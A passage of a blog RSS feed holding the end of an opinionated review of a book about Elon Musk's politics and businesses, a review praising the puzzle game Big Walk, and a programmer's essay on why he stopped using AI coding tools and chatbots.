&lt;p&gt;Tesla fared the same way, using the fear of foreign oil, the War on Terror and the resulting green/clean tech boom post 2001 to get massive financial funding from the government. According to the book, Diarmuid O'Connell, former chief of staff for George W. Bush's assistant secretary of state for political-military affairs lobbied for Musk and got Tesla a $465 million loan from the Department of Energy in 2008 (under the Advanced Technology Vehicles Manufacturing Loan Program), as without it, Tesla likely would have gone bankrupt. Which means: Taxpayer dollars went to a company that produced a basically unaffordable 100k car with fewer than 200 units in existence back then, just to bail it out. xAI is going the same way of using government money: In July 2025, they announced that they have entered a contract with the Department of Defense to offer a suite of AI products to them.&lt;/p&gt;
&lt;p&gt;The goal for Musk has always been that governments can only exercise their authority by purchasing services from a monopoly provider, which he tries to be, and at least with SpaceX, is. If the government cedes its sovereignty to an immense degree, it would be forced to buy it back in increments from corporations. Via this government contractor route, his companies can also evade compliance with some regulations.&lt;/p&gt;
&lt;p&gt;The authors also draw connections between Musk's favorite media and his business decisions as well as product names and more, especially &lt;em&gt;The Hitchhiker's Guide to the Galaxy&lt;/em&gt;, &lt;em&gt;Star Trek&lt;/em&gt;, &lt;em&gt;Battlestar Galactica&lt;/em&gt;, &lt;em&gt;Transformers&lt;/em&gt; and &lt;em&gt;Robotech&lt;/em&gt;. He would grow obsessed with the idea of colonizing space, and with becoming one with the machine, which can be seen not only with Neuralink, but him saying that to avoid AI killing humanity, humanity has to become one with AI. He co-founded OpenAI with Altman over his AI fears.&lt;/p&gt;
&lt;p&gt;2022 is when he increasingly started to share right-wing viewpoints, especially talking about the "woke mind virus". For the first time, he seemed to be very pre-occupied with the problem that, in his previously ideal solution of a merged together, cybernetic intelligence cluster of half human, half AI population, there's a risk that the system could become infected. In an interview, he shared his personal horror scenario, in which AI nannies would go around, see that there are too many white men in power, and go kill some - kill him. His fear is that for once, instead of always targeting other groups, he could be targeted and treated like he has treated them, because of rules that infected everyone's mind and turned them against him; rules that he has no control over.&lt;/p&gt;
&lt;p&gt;This fantasy is also what got him to buy Twitter, use it as a training ground and invent Grok, the "non-woke" AI and its Grokipedia. It's his idea of a safeguard against an army of AI coming to the conclusion that people like him need to be eradicated. He constantly influences the training data (by pushing his tweets artificially and giving them wider reach) and the training itself (by suddenly proclaiming that Grok is giving too woke answers, and adjusting, leading to events like the MechaHitler outburst).&lt;/p&gt;
&lt;p&gt;Despite his transhumanist ambitions, he does not consider modifying ones body within a gender transition as a good thing. A merger with AI could be dissolving the boundary between the natural and artificial, but it might open other boundaries like gender to be redrawn. But he actually wants to strengthen traditional social hierarchies, so a humanity segmented by gender, race and class is still possible. Don't forget: One reason why he hates his daughter's transition is because he does IVF sex selection and paid specifically for a male sex. He wants total power over how people function and live. His takeaway from South Africa's apartheid is that some humans are born to rule, others to be ruled, and these are the markers needed for that.&lt;/p&gt;
&lt;p&gt;That was also a big motivator behind DOGE: See the government as a platform, eliminate information silos that were there to ensure legal and privacy safeguards for privileged information, and then prepare systematic overreach, misuse and surveillance by working on ways to integrate information of different agencies into one database, to better "purge" unwanted people. For example, via the SSA's death master file, which cut off people's access to credit cards and bank accounts by declaring them dead - a form of "financial murder", where the goal was either for people to die or to "self-deport". Efficiency, in this case, became an excuse for centralization, and the Trump administration had no problem with it as it further advanced their own goals and made Musk the fall guy, as he got the blame while most things stayed the same. This entire climate paved the way for Palantir's $30 million ImmigrationOS contract with ICE, which promises near real-time visibility for non-citizens.&lt;/p&gt;
&lt;p&gt;He relies on this sort of oppression to make his businesses and lifestyle possible. To just name one example: The data center in Memphis powering Grok is in a historically Black neighborhood that originated as a community for emancipated slaves (cheap opportunity for him) and the facility's methane gas turbines emit pollutants linked to asthma, respiratory diseases, heart issues, and cancer. You can be sure that this would not be built in the kind of areas Musk grew up in.&lt;/p&gt;
&lt;p&gt;This is also visible in his increasing focus on fertility and population numbers, alleging a white genocide or a "Great Replacement". Fertility is actually fine in many countries; it's just not the right countries for him, as they aren't white. This is another remnant of his South African upbringing, in which white politicians in the apartheid era warned of being swamped by Black people and wanted to win the "cradle race" by boosting white fertility, and where it was normal for white people to live in their own settlements and schools away from the rest (as he does, with his own schools for his children).&lt;/p&gt;
&lt;p&gt;It actually is at odds with the rest of his views, as he keeps talking about robot descendants, merging with AI, and that within the next decade, humanoid robots will outnumber humans ten to one. He seems to facilitate a different kind of replacement, and it leaves you wondering what the supposed difference is between an AI-merged, cybernetically enhanced Black man and a white man, or whether human or robot does the "replacement". Why do white birth rates matter if they are going to be surpassed by robots, and if human labor will be less and less needed in his view?&lt;/p&gt;
&lt;p&gt;Towards the end of the book, the authors suggest 4 ways Musk could move forward - either a return to clean tech and electrification ("Carbon Musk", unlikely), even more state symbiosis ("Contractor Musk", inspired by Palantir's current successes), focusing harder on segregating from the rest via schools/settlements and on his white genocide bullshit ("Compound Musk", inspired by Bezos and Jon Lonsdale doing the same), or doubling down on AI and robots ("Cyborg Musk", with more Neuralink stuff).&lt;/p&gt;
&lt;p&gt;The book ends with an idea of what the ideal Muskism future could look like, slightly exaggerated at times I think, for comedic effect? Or because our future has sincerely become ridiculous? I can't tell. But I'm glad I read it.&lt;/p&gt;
&lt;p&gt;Published &lt;time datetime="2026-08-10T15:25Z"&gt;
    10 Aug, 2026
&lt;/time&gt;&lt;/p&gt;
</description>
      <author>hidden (avas)</author>
      <guid isPermaLink="false">https://blog.avas.space/muskism/</guid>
      <pubDate>Mon, 10 Aug 2026 15:25:00 +0000</pubDate>
    </item>
    <item>
      <title>Big Walk is really good</title>
      <link>https://blog.lauramichet.com/big-walk-is-really-good/</link>
      <description>&lt;p&gt;I've played several hours of Big Walk by now. It's a multiplayer puzzle game where you look like this:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://bear-images.sfo2.cdn.digitaloceanspaces.com/lauram/20260806194703_1.webp" alt="20260806194703_1" /&gt;&lt;/p&gt;
&lt;p&gt;And solve puzzles in buildings that look like this:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://bear-images.sfo2.cdn.digitaloceanspaces.com/lauram/20260806194900_1.webp" alt="20260806194900_1" /&gt;&lt;/p&gt;
&lt;p&gt;In a much more "realistic" forest environment that looks like this:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://bear-images.sfo2.cdn.digitaloceanspaces.com/lauram/20260809194639_1.webp" alt="20260809194639_1" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://bear-images.sfo2.cdn.digitaloceanspaces.com/lauram/20260806201455_1.webp" alt="20260806201455_1" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://bear-images.sfo2.cdn.digitaloceanspaces.com/lauram/20260806202029_1.webp" alt="20260806202029_1" /&gt;&lt;/p&gt;
&lt;p&gt;That contrast between the game's bright and toylike tools, structures, and characters and the much more noisy, "realistic" environment is super interesting. I think this game is thinking more carefully about realism and using realism more carefully than any game I've seen in literally decades!&lt;/p&gt;
&lt;p&gt;Any brightly-colored, kindercare-ass structure or object is puzzle-relevant. The wilderness is not. There's this pervasive ideology in a lot of game studios and player communities that "realism" is a kind of "null" perspective, vacant of meaning or style - which is never true, really. But this game feels like it's saying: okay, if we embrace the idea that realism is vacant of meaning, then it can just be the part of the game that is &lt;em&gt;vacant of puzzles,&lt;/em&gt; and the puzzles will be so much more surreal and toylike and stylized that you won't be able to keep your eyes off of them. It's using realism in such an interesting way!!&lt;/p&gt;
&lt;p&gt;That said, no realism is without style or value or intent, and this game is very conspicuously aware of that, because it's using Australian wilderness as its "realistic" landscape. Australian landscapes are not common in games.&lt;/p&gt;
&lt;p&gt;The rocks are not particularly "realistic," but the plants &lt;em&gt;really&lt;/em&gt; are. I can even recognize some of these plant species from Los Angeles landscaping, where Australian plants are often used as ornamentals. (Sometimes, they're also invasive!) I don't know their names, because I don't ID landscaping plants on iNaturalist, but it's wild to walk past a bush and feel like you're looking at &lt;a href='https://www.anbg.gov.au/callistemon/'&gt;a real bush you've seen before&lt;/a&gt; in someone's garden. It's nuts! I don't think I've ever even seen a north American landscape with &lt;em&gt;recognizable bush species&lt;/em&gt; in a first-person game before. Big Walk is definitely foregrounding the intent that must be present even in "realistic" landscapes.&lt;/p&gt;
&lt;p&gt;Anyway, this is a game of compelling contrasts. It's also extremely fun - the puzzles are all just challenging enough to force you and your team to make a plan and cooperate. We have only gotten absolutely stuck on one so far, and we think we know how to solve it. Everything is tuned for a specific number of players, so we're just charging ahead through the three-player map, making weird progress every session and exploring more and more of the surprisingly vast environment as we go. It's delightful.&lt;/p&gt;
&lt;p&gt;I'd recommend this to anyone. However, you really do need to be in a different room from the other players to enjoy this game - the built-in VO system is completely key to the experience and you should not be supplementing it or replacing it with Discord. If you want to play with your children, you're going to have to make sure that you can all play in different rooms of the house, with the doors closed. Many puzzles do not "work" unless you are using the game's VO system and can only hear voices transmitted through it. The game is basically 100% communication puzzles, so far.&lt;/p&gt;
&lt;p&gt;Here's the trailer, if you're not sold yet:&lt;/p&gt;
&lt;iframe width="560" height="315" src="https://www.youtube.com/embed/tA3bjy23XoQ?si=FlZaOAMa2Kpyhrdz" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen&gt;&lt;/iframe&gt;
&lt;p&gt;And here's some cryptic photos from my game. I'm spoiling no objects here that aren't also in the trailer:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://bear-images.sfo2.cdn.digitaloceanspaces.com/lauram/20260806201904_1.webp" alt="20260806201904_1" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://bear-images.sfo2.cdn.digitaloceanspaces.com/lauram/20260806205642_1.webp" alt="20260806205642_1" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://bear-images.sfo2.cdn.digitaloceanspaces.com/lauram/20260809210056_1.webp" alt="20260809210056_1" /&gt;&lt;/p&gt;
</description>
      <author>hidden (lauram)</author>
      <guid isPermaLink="false">https://blog.lauramichet.com/big-walk-is-really-good/</guid>
      <pubDate>Mon, 10 Aug 2026 04:40:00 +0000</pubDate>
    </item>
    <item>
      <title>I'm done using AI</title>
      <link>https://brettcodes.com/im-done-using-ai/</link>
      <description>&lt;p&gt;I've been programming for 20 years. It started as a hobby as a teen, making fansites and little video games. Then it turned into a career. And it's something I've largely enjoyed doing. I like learning, I like problem solving, and I like making things, which is a lot of what programming is. Over the past 18 months, my career, my hobby, and my craft have been drastically changed by the introduction of LLM-powered coding harnesses (e.g., Claude Code) and what's often referred to as "agentic programming." Because of its negative impacts on the environment, society, and my mental health, I've decided to stop using it.&lt;/p&gt;
&lt;p&gt;&lt;a href='https://youtu.be/2ZU3j4GQ4K8'&gt;▶ Watch a ramble video version of this post.&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I first became aware of using LLMs for programming a few years ago through GitHub's Copilot integration in Visual Studio Code, which was like autocomplete on steroids. You'd start typing &lt;code&gt;function sortNames&lt;/code&gt; and it'd show you a preview of what that implementation could look like. I tried it and found it distracting and basically useless. The second time it reared its head was the early chat interfaces. A colleague was using it to help investigate an issue and the solution the LLM provided them with wasn't working. Turns out that the LLM hallucinated a version of a software library that didn't exist, and therefore couldn't be installed nor used to fix the issue.&lt;/p&gt;
&lt;p&gt;Around this time, at that job, a true believer of AI was hired as the head of the product team. They were a product manager who began submitting changes, using the LLM-powered coding tools but without understanding the implications to the broader system. Conversations became focused on how to integrate AI into the software that the customers used. I was watching it spread like a virus throughout that organization, while I continued programming away as I had for the decades before, writing tests and building features, and largely enjoying the work.&lt;/p&gt;
&lt;p&gt;At a newer job, the job I have now as I write this, I continued to code how I had my entire life. Writing TypeScript, Ruby, CSS, etc. and corresponding tests, integrating with other systems and depdnencies. It's a small team of less than 10 developers. On collaborative calls, I'd see how some of my colleagues utilized AI in the Cursor editor, quickly tab completing the code and sometimes prompting it inline to write some code. The LLM-powered coding tooling at that time was largely working at a local-to-that-file, small scale. I thought it was neat, almost magical, but nothing would pry me away from Neovim and tmux, and I felt like I was working fast enough anyway.&lt;/p&gt;
&lt;p&gt;I didn't, and I still don't, see the need for working faster. I really like what Cal Newport encourages in his book &lt;em&gt;Slow Productivity&lt;/em&gt;: work at a natural pace.&lt;/p&gt;
&lt;p&gt;In early 2025 I was asked a question by management: "what do you think of this AI coding stuff?" And I said "it's often wrong, gets in my way, and doesn't help me code faster, so I don't use it." Management would not long after attend a conference and be sold on how LLMs would change everything we know about knowledge work, revolutionizing the workplace. This then led to a mandate to make use of AI tools or be left behind.&lt;/p&gt;
&lt;p&gt;I decided to give AI a go, in earnest. I tried the Cursor editor, but it didn't click with me and ran horribly on Linux. So I tried Zed, and pretty soon thereafter I was utilizing the sidebar chat with auto-edit to have the LLMs make changes to the code and build software. At that time, it honestly felt magical. Type into a box and the thing would write code and answer my questions. During mid-2025, agentic editing became the new way to use AI for coding, replacing the auto-complete-based workflows. As the AI companies invested in training models tuned for that purpose and building coding harnesses, the capabilities kept getting better and better.&lt;/p&gt;
&lt;p&gt;Fast forward a year to mid-2026. In the lead up to my decision to stop using AI, I was able to essentially connect Linear to Claude Code and have it build out a non-trivial project from start to finish without me editing a line of code. The work got done faster than I could have done on my own. And I barely had to think. While that sounds amazing if you're a person who profits from more work getting done, there are immense drawbacks to this, which I'll share more about in a moment. I share this anecdote to say: I understand what the LLM-based coding harnesses are capable of. I write this all from the perspective of an experienced lead engineer who used these tools in earnest for more than a year. And I cannot in good conscious continue to use AI for coding (or anything else) any longer.&lt;/p&gt;
&lt;p&gt;During the time when I started using the LLM coding tools, I also started to use the chat functionality. I'd ask it to recommend me books. I'd ask for career advice. I'd float business ideas by it. I talked to it like it was a friend. I'd come up with grand ideas, and it was always supportive. And I'd ask it for medical advice. I'm embarrassed to admit this, but one night when I was sick, I described all my symptoms and it told me to go to the Emergency Department at the hospital. So I hopped in my car at midnight, suffering from the flu, and drove to the ED. I sat there and waited for two hours in the waiting room while my ibuprofen I took before I left kicked in. By the time I saw a medical professional, they basically just told me to go home and rest, that I didn't need to go to the ED. While sure, yeah, better safe than sorry can sometimes apply to the ED, I think relying on the AI chat for what action to take for my medical condition was a huge mistake. It also cost me hundreds of dollars. That example, among others, helped me realize the AI chat was making me delusional.&lt;/p&gt;
&lt;p&gt;I stopped using the AI chat because it became very clear it wasn't helpful or healthy, and it was in fact dangerous. But I kept using AI for coding at work, using it to take on more and more of the heavy-lifting to the point where I was just a code reviewer and a quality assurance tester for the features the coding harness would spit out. Getting a lot of tasks done, it can feel exhilarating. That is, until I realized, well, I'm basically just a hamster on a wheel, checking boxes, getting tickets done with no real purpose. Sure, I catch an issue here or there. But it's impossible to review the quantity of code the AI writes, and we've got a different AI to review it anyway! So what did this do? Well, it made me lazy. It made me stop caring. It made me a worse programmer. It made me depressed. Because I stopped doing the hard work, I stopped learning, I stopped growing, I stopped being the one making the software.&lt;/p&gt;
&lt;p&gt;I had a conversation with management about how a developer's job is now is to teach the AI to be better, make fewer mistakes, etc. To review the code. And to test the changes that the AI makes. This is a horrible existence, and it was one of the other signs that this is untenable for me to continue like this.&lt;/p&gt;
&lt;p&gt;One of the other signs that something had to change is that the more I used AI for coding at work, the more distant I felt from the software and its features. I couldn't explain precisely how something worked without asking the AI. I cared far less about the code and the software itself because I didn't write any of that code myself, I was removed from it.&lt;/p&gt;
&lt;p&gt;Upon reflection, I've come to believe that quality software is not about how many features something has or how quickly it is built but rather how cared for it is by the designers, developers, and product people who work on it. There's an ineffable aspect to my favorite pieces of software where I don't think of it is as feature matrix but rather as an interface made by a human for humans that's a joy to use. And when you build software with AI, it leads to worse software. Sure, it's faster to build initially, but I think to the detriment of the quality of the code and the user interface and the user experience.&lt;/p&gt;
&lt;p&gt;I also started experiencing existential dread. If I'm basically just feeding Linear tickets into a CLI, why am I needed at all? Will software engineering exist in a few years? Should I go become an electrician or something else entirely? But what about this craft I love and career I've had? Will it just go away?&lt;/p&gt;
&lt;p&gt;I started to learn more about the true cost of AI, from the data centers to the water usage and beyond. That it's built and trained upon stolen sources. And the cost is extreme. And that cost is largely hidden from people unless they're building a data center in your backyard (which they might be before you know it).&lt;/p&gt;
&lt;p&gt;So in summary: using AI for coding led to depression, apathy, existential dread, and worse software. Not good. Add on top of that the negative environmental, community, and economic impacts of AI, and it became extremely apparent to me that something's gotta change.&lt;/p&gt;
&lt;p&gt;Earlier in the year, at the nadir of all of this, I returned to one of my hobbies: game programming. During this time, I finished writing &lt;a href='https://pdbook.net'&gt;my book on coding games for Playdate&lt;/a&gt;, made some small games, and &lt;a href='https://usagiengine.com'&gt;created a 2D Lua game engine called Usagi with Rust&lt;/a&gt;. I was feeling disillusioned with coding at work and going back to the basics by writing and coding without AI helped me realize how much I love coding and how using AI was making me a worse programmer and negatively impacting my mental state.&lt;/p&gt;
&lt;p&gt;I tried to use AI &lt;em&gt;less&lt;/em&gt; at work, like only use it for trivial tasks, but that never really worked. I'd just fall back to using it for pretty much everything. It feels silly to type out a test when you can just have AI do all of it. For me, it feels like an all or nothing decision. Also, using it less but still using it means I'd still be using it, therefore showing demand for it and contributing to the harms it causes. No thanks.&lt;/p&gt;
&lt;p&gt;When someone decides to make use of some technology, or more abstractly a tool, there's always some sort of cost to using it. The cost of using LLM-based tooling is way too high and absolutely not worth it, in my opinion, for myself or society. In my opinion, AI is unquestionably a net harm compared to any benefits it may provide.&lt;/p&gt;
&lt;p&gt;To put it simply: I do not like this world where people are using AI to generate art, music, writing, and software. So I will not use AI.&lt;/p&gt;
&lt;p&gt;I don't know what consequences will come from this decision to stop using AI for coding at work. It is possible I will be terminated. It's possible I'll be able to get by just fine. Time will tell. But all I know is that I couldn't keep working that way, as it was in no uncertain terms ruining my life.&lt;/p&gt;
&lt;p&gt;What comes next, I'm not quite certain. I want to talk about all this more. I want to see how other developers are fairing. I want to return to my love of sharing what I learn and helping other programmers through writing and videos. Well, helping those who want to actually learn to program, not those that want to just prompt their way to a solution. It's a strange and uncertain time, that's for sure. But I'm going to see what the future brings and stick to my values and be true to myself. Here's to writing code by hand.&lt;/p&gt;
</description>
      <author>hidden (brettcodes)</author>
      <guid isPermaLink="false">https://brettcodes.com/im-done-using-ai/</guid>
      <pubDate>Mon, 10 Aug 2026 12:33:00 +0000</pubDate>
    </item>
  </channel>
</rss>
